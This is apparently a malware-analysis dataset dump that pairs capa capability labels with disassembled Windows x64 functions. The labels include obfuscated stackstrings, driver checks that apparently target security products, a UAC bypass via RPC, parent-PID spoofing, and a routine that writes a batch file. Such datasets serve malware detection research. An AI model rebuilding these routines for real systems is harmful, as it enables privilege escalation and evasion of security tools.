joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400f5748
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.1400e7144
xor ebx, ebx
mov rdi, rax
cmp qword [0x14011e238], rbx
jne 0x1400f584e
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x1400f5923
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400f5923
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x14010fc40]
mov rcx, rsi
mov qword [0x14011e238], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14011e240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x14011e248], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x14011e258], rax
test rax, rax
je 0x1400f5845
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x14011e250], rax
jmp 0x1400f5855
mov rax, qword [0x14011e250]
jmp 0x1400f585c
mov rax, qword [0x14011e250]
mov r11, qword [0x14011e258]
cmp rax, rdi
je 0x1400f58c4
cmp r11, rdi
je 0x1400f58c4
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x14011e258]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x1400f58c4
test rax, rax
je 0x1400f58c4
call rsi
test rax, rax
je 0x1400f58be
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400f58be
test byte [rsp + 0x38], 1
jne 0x1400f58c4
bts ebp, 0x15
jmp 0x1400f5902
mov rcx, qword [0x14011e240]
cmp rcx, rdi
je 0x1400f5902
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1400f5902
call rax
mov rbx, rax
test rax, rax
je 0x1400f5902
mov rcx, qword [0x14011e248]
cmp rcx, rdi
je 0x1400f5902
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1400f5902
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14011e238]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1400f5923
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x1400f5925
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x180004c50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x18004c178]
xor rax, rsp
mov qword [rbp + 0x47], rax
movdqa xmm0, xmmword [0x180044b70]
lea rcx, [rbp - 0x29]
movdqu xmmword [rbp + 0x37], xmm0
mov dword [rbp - 0x29], 0x6e72656b
movdqa xmm0, xmmword [0x180044be0]
movdqu xmmword [rbp + 7], xmm0
mov dword [rbp - 0x25], 0x32336c65
movdqa xmm0, xmmword [str.GetModuleHandleARtlSetLastWin32EGetModuleHandleWNtAllocateVirtuaLdrEnumerateLoadNtQueryInformatiNtOpenProcessTokRtlLeaveCriticalRtlEnterCriticalGetModuleFileNamRtlExpandEnvironRtlQueryElevatioGetCurrentProcesRtlNtStatusToDosRtlInitUnicodeSt]
movdqu xmmword [rbp + 0x1f], xmm0
mov dword [rbp - 0x21], 0x6c6c642e
mov word [rbp - 0x1d], 0
mov dword [rbp - 0x19], 0x64616f4c
mov dword [rbp - 0x15], 0x7262694c
mov dword [rbp - 0x11], 0x57797261
mov word [rbp - 0xd], 0
mov dword [rbp - 9], 0x64616f4c
mov dword [rbp - 5], 0x7262694c
mov dword [rbp - 1], 0x41797261
mov word [rbp + 3], 0
mov word [rbp + 0x17], 0
mov word [rbp + 0x2f], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x37]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x19]
mov rcx, rdi
mov rbx, rax
mov qword [0x18004fe98], rax
call rbx
lea rdx, [rbp - 9]
mov rcx, rdi
call rbx
lea rdx, [rbp + 7]
mov qword [0x18004fe88], rax
mov rcx, rdi
call rbx
lea rdx, [rbp + 0x1f]
mov rcx, rdi
call rbx
mov qword [0x18004fe90], rax
mov eax, 1
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.180011e00
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x180004d80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x18004c178]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov r8, qword [0x18004fe90]
xor edx, edx
mov rbx, qword [0x18004fe88]
add ecx, 0xfffff000
cmp ecx, 7
ja case.default.0x180004dcc
lea r9, [0x180000000]
mov ecx, dword [r9 + rcx*4 + 0x4f20]
add rcx, r9
jmp rcx
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x4e52454b
mov dword [rbp - 0x1c], 0x32334c45
mov dword [rbp - 0x18], 0x4c4c442e
mov word [rbp - 0x14], dx
call r8
jmp 0x180004f03
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x52455355
mov dword [rbp - 0x1c], 0x442e3233
mov dword [rbp - 0x18], 0x4c4c
call r8
mov rdx, rax
test rax, rax
jne case.default.0x180004dcc
lea rcx, [rbp - 0x20]
jmp 0x180004f01
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x4c454853
mov dword [rbp - 0x1c], 0x2e32334c
mov dword [rbp - 0x18], 0x4c4c44
mov byte [rbp - 0x14], dl
call r8
mov rdx, rax
test rax, rax
jne case.default.0x180004dcc
lea rcx, [rbp - 0x20]
jmp 0x180004f01
mov dword [rbp - 0x20], 0x41564441
mov dword [rbp - 0x1c], 0x32334950
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x18], 0x4c4c442e
mov word [rbp - 0x14], dx
call r8
mov rdx, rax
test rax, rax
jne case.default.0x180004dcc
lea rcx, [rbp - 0x20]
jmp 0x180004f01
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x574c4853
mov dword [rbp - 0x1c], 0x2e495041
mov dword [rbp - 0x18], 0x4c4c44
mov byte [rbp - 0x14], dl
call r8
mov rdx, rax
test rax, rax
jne case.default.0x180004dcc
lea rcx, [rbp - 0x20]
jmp 0x180004f01
mov dword [rbp - 0x20], 0x41454c4f
mov dword [rbp - 0x1c], 0x32335455
jmp 0x180004e66
mov dword [rbp - 0x20], 0x33454c4f
mov dword [rbp - 0x1c], 0x4c442e32
jmp 0x180004ee5
mov dword [rbp - 0x20], 0x4c44544e
mov dword [rbp - 0x1c], 0x4c442e4c
lea rcx, [rbp - 0x20]
mov word [rbp - 0x18], 0x4c
mov byte [rbp - 0x16], dl
call r8
mov rdx, rax
test rax, rax
jne case.default.0x180004dcc
lea rcx, [rbp - 0x20]
call rbx
mov rdx, rax
mov rax, rdx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180011e00
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x180004f40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x18004c178]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, qword [0x18004fe98]
xor ebx, ebx
mov ecx, 0x1000
mov dword [rbp - 0x30], ebx
mov word [rbp - 0xc], bx
mov dword [rbp - 0x18], 0x61657243
mov dword [rbp - 0x14], 0x68546574
mov dword [rbp - 0x10], 0x64616572
call fcn.180004d80
test rax, rax
jne 0x180004f98
mov eax, ebx
jmp 0x180004fa1
lea rdx, [rbp - 0x18]
mov rcx, rax
call rdi
lea rcx, [rbp - 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
lea r8, [0x180005780]
xor ecx, ecx
mov dword [rsp + 0x20], ebx
xor edx, edx
call rax
mov rdi, rax
test rax, rax
je 0x18000500f
mov qword [rsp + 0x70], rsi
mov ecx, 0x1000
mov rsi, qword [0x18004fe98]
mov dword [rbp - 0x28], 0x736f6c43
mov dword [rbp - 0x24], 0x6e614865
mov dword [rbp - 0x20], 0x656c64
mov byte [rbp - 0x1c], bl
call fcn.180004d80
test rax, rax
je 0x180005005
lea rdx, [rbp - 0x28]
mov rcx, rax
call rsi
mov rbx, rax
mov rcx, rdi
call rbx
mov rsi, qword [rsp + 0x70]
mov eax, 1
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.180011e00
mov rbx, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
add rsp, 0x60
pop rbp
ret
Function at 0x180005040
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [0x18004c178]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov ecx, 0x208
call fcn.1800125ac
xor ebx, ebx
mov dword [rsp + 0x20], 0x3a0063
xor edx, edx
mov word [rbp + 7], bx
mov r8d, 0x208
mov dword [rsp + 0x24], 0x77005c
mov rcx, rax
mov dword [rsp + 0x28], 0x6e0069
mov rdi, rax
mov dword [rsp + 0x2c], 0x6f0064
mov dword [rsp + 0x30], 0x730077
mov dword [rsp + 0x34], 0x73005c
mov dword [rsp + 0x38], 0x730079
mov dword [rbp - 0x7d], 0x650074
mov dword [rbp - 0x79], 0x33006d
mov dword [rbp - 0x75], 0x5c0032
mov dword [rbp - 0x71], 0x720064
mov dword [rbp - 0x6d], 0x760069
mov dword [rbp - 0x69], 0x720065
mov dword [rbp - 0x65], 0x5c0073
mov dword [rbp - 0x61], 0x6c006b
mov dword [rbp - 0x5d], 0x6c0065
mov dword [rbp - 0x59], 0x6d0061
mov dword [rbp - 0x55], 0x73002e
mov qword [rbp - 0x51], 0x730079
mov dword [rbp - 0x49], 0x3a0063
mov dword [rbp - 0x45], 0x77005c
mov dword [rbp - 0x41], 0x6e0069
mov dword [rbp - 0x3d], 0x6f0064
mov dword [rbp - 0x39], 0x730077
mov dword [rbp - 0x35], 0x53005c
mov dword [rbp - 0x31], 0x730079
mov dword [rbp - 0x2d], 0x61004e
mov dword [rbp - 0x29], 0x690074
mov dword [rbp - 0x25], 0x650076
mov dword [rbp - 0x21], 0x64005c
mov dword [rbp - 0x1d], 0x690072
mov dword [rbp - 0x19], 0x650076
mov dword [rbp - 0x15], 0x730072
mov dword [rbp - 0x11], 0x6b005c
mov dword [rbp - 0xd], 0x65006c
mov dword [rbp - 9], 0x61006c
mov dword [rbp - 5], 0x2e006d
mov dword [rbp - 1], 0x790073
mov dword [rbp + 3], 0x73
call fcn.180015430
call fcn.1800059b0
cmp eax, 1
mov rdx, rdi
mov eax, 0x104
je 0x1800051f5
lea r8, [rsp + 0x20]
sub r8, rdi
nop dword [rax + rax]
lea rcx, [rax + 0x7ffffefa]
test rcx, rcx
je 0x180005223
movzx ecx, word [r8 + rdx]
test cx, cx
je 0x180005223
mov word [rdx], cx
add rdx, 2
sub rax, 1
jne 0x1800051d0
jmp 0x180005223
lea r8, [rbp - 0x49]
sub r8, rdi
nop dword [rax]
lea rcx, [rax + 0x7ffffefa]
test rcx, rcx
je 0x180005223
movzx ecx, word [r8 + rdx]
test cx, cx
je 0x180005223
mov word [rdx], cx
add rdx, 2
sub rax, 1
jne 0x180005200
movdqa xmm0, xmmword [str.PathFileExistsW]
lea rcx, [rdx - 2]
mov rsi, qword [0x18004fe98]
test rax, rax
cmovne rcx, rdx
mov word [rcx], bx
mov ecx, 0x1004
movdqu xmmword [rbp + 0x17], xmm0
mov byte [rbp + 0x27], bl
call fcn.180004d80
test rax, rax
je 0x180005263
lea rdx, [rbp + 0x17]
mov rcx, rax
call rsi
mov rbx, rax
mov rcx, rdi
call rbx
mov rcx, rdi
mov ebx, eax
call fcn.180012578
mov eax, ebx
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.180011e00
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1800052b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [0x18004c178]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov ecx, 0x208
call fcn.1800125ac
xor ebx, ebx
mov dword [rsp + 0x20], 0x3a0043
xor edx, edx
mov word [rbp + 7], bx
mov r8d, 0x208
mov dword [rsp + 0x24], 0x57005c
mov rcx, rax
mov dword [rsp + 0x28], 0x6e0069
mov rdi, rax
mov dword [rsp + 0x2c], 0x6f0064
mov dword [rsp + 0x30], 0x730077
mov dword [rsp + 0x34], 0x53005c
mov dword [rsp + 0x38], 0x730079
mov dword [rbp - 0x7d], 0x650074
mov dword [rbp - 0x79], 0x33006d
mov dword [rbp - 0x75], 0x5c0032
mov dword [rbp - 0x71], 0x720064
mov dword [rbp - 0x6d], 0x760069
mov dword [rbp - 0x69], 0x720065
mov dword [rbp - 0x65], 0x5c0073
mov dword [rbp - 0x61], 0x720074
mov dword [rbp - 0x5d], 0x660075
mov dword [rbp - 0x59], 0x73006f
mov dword [rbp - 0x55], 0x73002e
mov qword [rbp - 0x51], 0x730079
mov dword [rbp - 0x49], 0x3a0043
mov dword [rbp - 0x45], 0x57005c
mov dword [rbp - 0x41], 0x6e0069
mov dword [rbp - 0x3d], 0x6f0064
mov dword [rbp - 0x39], 0x730077
mov dword [rbp - 0x35], 0x53005c
mov dword [rbp - 0x31], 0x730079
mov dword [rbp - 0x2d], 0x61004e
mov dword [rbp - 0x29], 0x690074
mov dword [rbp - 0x25], 0x650076
mov dword [rbp - 0x21], 0x64005c
mov dword [rbp - 0x1d], 0x690072
mov dword [rbp - 0x19], 0x650076
mov dword [rbp - 0x15], 0x730072
mov dword [rbp - 0x11], 0x74005c
mov dword [rbp - 0xd], 0x750072
mov dword [rbp - 9], 0x6f0066
mov dword [rbp - 5], 0x2e0073
mov dword [rbp - 1], 0x790073
mov dword [rbp + 3], 0x73
call fcn.180015430
call fcn.1800059b0
cmp eax, 1
mov rdx, rdi
mov eax, 0x104
je 0x180005465
lea r8, [rsp + 0x20]
sub r8, rdi
nop dword [rax + rax]
lea rcx, [rax + 0x7ffffefa]
test rcx, rcx
je 0x180005493
movzx ecx, word [r8 + rdx]
test cx, cx
je 0x180005493
mov word [rdx], cx
add rdx, 2
sub rax, 1
jne 0x180005440
jmp 0x180005493
lea r8, [rbp - 0x49]
sub r8, rdi
nop dword [rax]
lea rcx, [rax + 0x7ffffefa]
test rcx, rcx
je 0x180005493
movzx ecx, word [r8 + rdx]
test cx, cx
je 0x180005493
mov word [rdx], cx
add rdx, 2
sub rax, 1
jne 0x180005470
movdqa xmm0, xmmword [str.PathFileExistsW]
lea rcx, [rdx - 2]
mov rsi, qword [0x18004fe98]
test rax, rax
cmovne rcx, rdx
mov word [rcx], bx
mov ecx, 0x1004
movdqu xmmword [rbp + 0x17], xmm0
mov byte [rbp + 0x27], bl
call fcn.180004d80
test rax, rax
je 0x1800054d3
lea rdx, [rbp + 0x17]
mov rcx, rax
call rsi
mov rbx, rax
mov rcx, rdi
call rbx
mov rcx, rdi
mov ebx, eax
call fcn.180012578
mov eax, ebx
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.180011e00
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x180005520
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x18004c178]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov ecx, 0x208
call fcn.1800125ac
xor ebx, ebx
mov dword [rsp + 0x20], 0x3a0063
xor edx, edx
mov word [rbp - 0x3d], bx
mov r8d, 0x208
mov dword [rsp + 0x24], 0x77005c
mov rcx, rax
mov dword [rsp + 0x28], 0x6e0069
mov rdi, rax
mov dword [rbp - 0x7d], 0x6f0064
mov dword [rbp - 0x79], 0x730077
mov dword [rbp - 0x75], 0x73005c
mov dword [rbp - 0x71], 0x730079
mov dword [rbp - 0x6d], 0x650074
mov dword [rbp - 0x69], 0x33006d
mov dword [rbp - 0x65], 0x5c0032
mov dword [rbp - 0x61], 0x720064
mov dword [rbp - 0x5d], 0x760069
mov dword [rbp - 0x59], 0x720065
mov dword [rbp - 0x55], 0x5c0073
mov dword [rbp - 0x51], 0x680065
mov dword [rbp - 0x4d], 0x720064
mov dword [rbp - 0x49], 0x2e0076
mov dword [rbp - 0x45], 0x790073
mov dword [rbp - 0x41], 0x73
mov dword [rbp - 0x39], 0x3a0063
mov dword [rbp - 0x35], 0x77005c
mov dword [rbp - 0x31], 0x6e0069
mov dword [rbp - 0x2d], 0x6f0064
mov dword [rbp - 0x29], 0x730077
mov dword [rbp - 0x25], 0x73005c
mov dword [rbp - 0x21], 0x730079
mov dword [rbp - 0x1d], 0x61006e
mov dword [rbp - 0x19], 0x690074
mov dword [rbp - 0x15], 0x650076
mov dword [rbp - 0x11], 0x64005c
mov dword [rbp - 0xd], 0x690072
mov dword [rbp - 9], 0x650076
mov dword [rbp - 5], 0x730072
mov dword [rbp - 1], 0x65005c
mov dword [rbp + 3], 0x640068
mov dword [rbp + 7], 0x760072
mov dword [rbp + 0xb], 0x73002e
mov qword [rbp + 0xf], 0x730079
call fcn.180015430
call fcn.1800059b0
cmp eax, 1
mov rdx, rdi
mov eax, 0x104
je 0x1800056c5
lea r8, [rsp + 0x20]
sub r8, rdi
nop dword [rax]
lea rcx, [rax + 0x7ffffefa]
test rcx, rcx
je 0x1800056f3
movzx ecx, word [r8 + rdx]
test cx, cx
je 0x1800056f3
mov word [rdx], cx
add rdx, 2
sub rax, 1
jne 0x1800056a0
jmp 0x1800056f3
lea r8, [rbp - 0x39]
sub r8, rdi
nop dword [rax]
lea rcx, [rax + 0x7ffffefa]
test rcx, rcx
je 0x1800056f3
movzx ecx, word [r8 + rdx]
test cx, cx
je 0x1800056f3
mov word [rdx], cx
add rdx, 2
sub rax, 1
jne 0x1800056d0
movdqa xmm0, xmmword [str.PathFileExistsW]
lea rcx, [rdx - 2]
mov rsi, qword [0x18004fe98]
test rax, rax
cmovne rcx, rdx
mov word [rcx], bx
mov ecx, 0x1004
movdqu xmmword [rbp + 0x17], xmm0
mov byte [rbp + 0x27], bl
call fcn.180004d80
test rax, rax
je 0x180005733
lea rdx, [rbp + 0x17]
mov rcx, rax
call rsi
mov rbx, rax
mov rcx, rdi
call rbx
mov rcx, rdi
mov ebx, eax
call fcn.180012578
mov eax, ebx
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.180011e00
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x180005f70
Capabilities:
Bypass uac via rpc

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x80
mov qword [rax + 0x20], rbx
mov rbx, rcx
mov qword [rax - 0x10], rbp
xor ebp, ebp
mov qword [rax + 0x18], rbp
mov qword [rax + 0x10], rbp
mov dword [rax + 8], 0x44
test rcx, rcx
je 0x180005f9f
mov qword [rcx], rbp
xor eax, eax
lea rdi, [rsp + 0x40]
mov ecx, 0x28
lea rdx, str.ncalrpc
rep stosb byte [rdi], al
lea rax, [rsp + 0xa0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rcx, str.201ef99a_7fa0_444c_9399_19ba84f12a1a
xor r8d, r8d
mov qword [rsp + 0x20], rbp
call qword [sym.imp.RPCRT4.dll_RpcStringBindingComposeW]
mov edi, eax
test eax, eax
jne 0x1800060d6
mov rcx, qword [rsp + 0xa0]
lea rdx, [rsp + 0x98]
call qword [sym.imp.RPCRT4.dll_RpcBindingFromStringBindingW]
lea rcx, [rsp + 0xa0]
mov edi, eax
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
test edi, edi
jne 0x1800060d6
mov edx, dword [rsp + 0x90]
lea ecx, [rdi + 0x40]
mov qword [rsp + 0x70], rsi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x1800060cc
lea r9, [rsp + 0x90]
mov r8, rax
xor edx, edx
lea ecx, [rdi + 0x16]
call qword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x1800060b9
mov rcx, qword [rsp + 0x98]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea r9d, [rdi + 0xa]
mov dword [rsp + 0x28], ebp
lea r8d, [rdi + 6]
xor edx, edx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x40], 3
mov dword [rsp + 0x4c], 3
mov qword [rsp + 0x44], 1
mov qword [rsp + 0x60], rsi
call qword [sym.imp.RPCRT4.dll_RpcBindingSetAuthInfoExW]
mov edi, eax
test eax, eax
jne 0x1800060c1
mov rax, qword [rsp + 0x98]
mov rcx, rsi
mov qword [rbx], rax
mov qword [rsp + 0x98], rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1800060d1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1800060d1
mov edi, 8
mov rsi, qword [rsp + 0x70]
cmp qword [rsp + 0x98], 0
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0xa8]
je 0x1800060fc
lea rcx, [rsp + 0x98]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
mov eax, edi
add rsp, 0x80
pop rdi
ret
Function at 0x180006900
Capabilities:
Create process on windows
Get common file path
Spoof parent pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x310
mov rax, qword [0x18004c178]
xor rax, rsp
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x58], rcx
lea rdi, [rsp + 0x60]
xor eax, eax
mov qword [rsp + 0x50], 0x30
mov rsi, rdx
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rsp + 0x80]
mov ecx, 0x70
rep stosb byte [rdi], al
lea rcx, [rsp + 0xf0]
mov dword [rsp + 0x80], 0x70
xor edx, edx
mov r8d, 0x208
mov ebx, 0xc0000001
call fcn.180015430
mov edx, 0x104
lea rcx, [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor edi, edi
lea ebp, [rdi + 5]
nop dword [rax]
mov r8, qword [rsp + 0x50]
cmp r8, 0x400
ja 0x180006ac5
mov rcx, qword [0x180050930]
mov edx, 8
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov qword [rsp + 0xe8], rax
test rax, rax
je 0x180006ab6
xor r8d, r8d
lea r9, [rsp + 0x50]
mov rcx, rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x180006a89
mov rcx, qword [rsp + 0xe8]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x28], rdi
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x180006a89
lea rax, [rsp + 0x60]
mov dword [rsp + 0xbc], 1
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x80]
mov word [rsp + 0xc0], bp
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rsp + 0xf0]
mov rdx, rsi
mov qword [rsp + 0x38], rax
xor ecx, ecx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80400
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180006a89
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, edi
mov r8, qword [rsp + 0xe8]
test r8, r8
je 0x180006aa7
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x180050930]
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x180006990
mov eax, ebx
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.180011e00
mov rbx, qword [rsp + 0x340]
add rsp, 0x310
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800074a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x380
mov rax, qword [0x18004c178]
xor rax, rsp
mov qword [rsp + 0x370], rax
mov rsi, rdx
mov r8, rcx
mov rax, rsi
sub r8, rsi
mov rdi, rcx
mov edx, 0x104
nop word [rax + rax]
lea rcx, [rdx + 0x7ffffefa]
test rcx, rcx
je 0x180007503
movzx ecx, word [r8 + rax]
test cx, cx
je 0x180007503
mov word [rax], cx
add rax, 2
sub rdx, 1
jne 0x1800074e0
test rdx, rdx
lea rcx, [rax - 2]
cmovne rcx, rax
xor ebp, ebp
mov word [rcx], bp
mov rcx, rsi
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, str.update.bat
mov rcx, rsi
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor edx, edx
mov dword [rsp + 0x40], ebp
mov r8d, 0x104
lea rcx, [rsp + 0x50]
call fcn.180015430
xor edx, edx
lea rcx, [rsp + 0x160]
mov r8d, 0x208
call fcn.180015430
or rbx, 0xffffffffffffffff
mov r9, rbx
nop
inc r9
cmp word [rdi + r9*2], bp
jne 0x180007560
mov qword [rsp + 0x38], rbp
mov r8, rdi
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x28], ebp
xor ecx, ecx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r9, rbx
nop dword [rax]
inc r9
cmp word [rdi + r9*2], bp
jne 0x180007590
mov qword [rsp + 0x38], rbp
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rbp
mov r8, rdi
mov dword [rsp + 0x28], 0x104
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea r9, [rsp + 0x50]
mov edx, 0x208
lea r8, str.cmd.exe__c_start__s
lea rcx, [rsp + 0x160]
call fcn.180006ca0
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180007653
lea rax, [rsp + 0x160]
nop dword [rax + rax]
cmp byte [rax + rbx + 1], bpl
lea rbx, [rbx + 1]
jne 0x180007620
lea r8d, [rbx + 1]
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x40]
mov rcx, rdi
lea rdx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.180011e00
mov rbx, qword [rsp + 0x3b0]
add rsp, 0x380
pop rdi
pop rsi
pop rbp
ret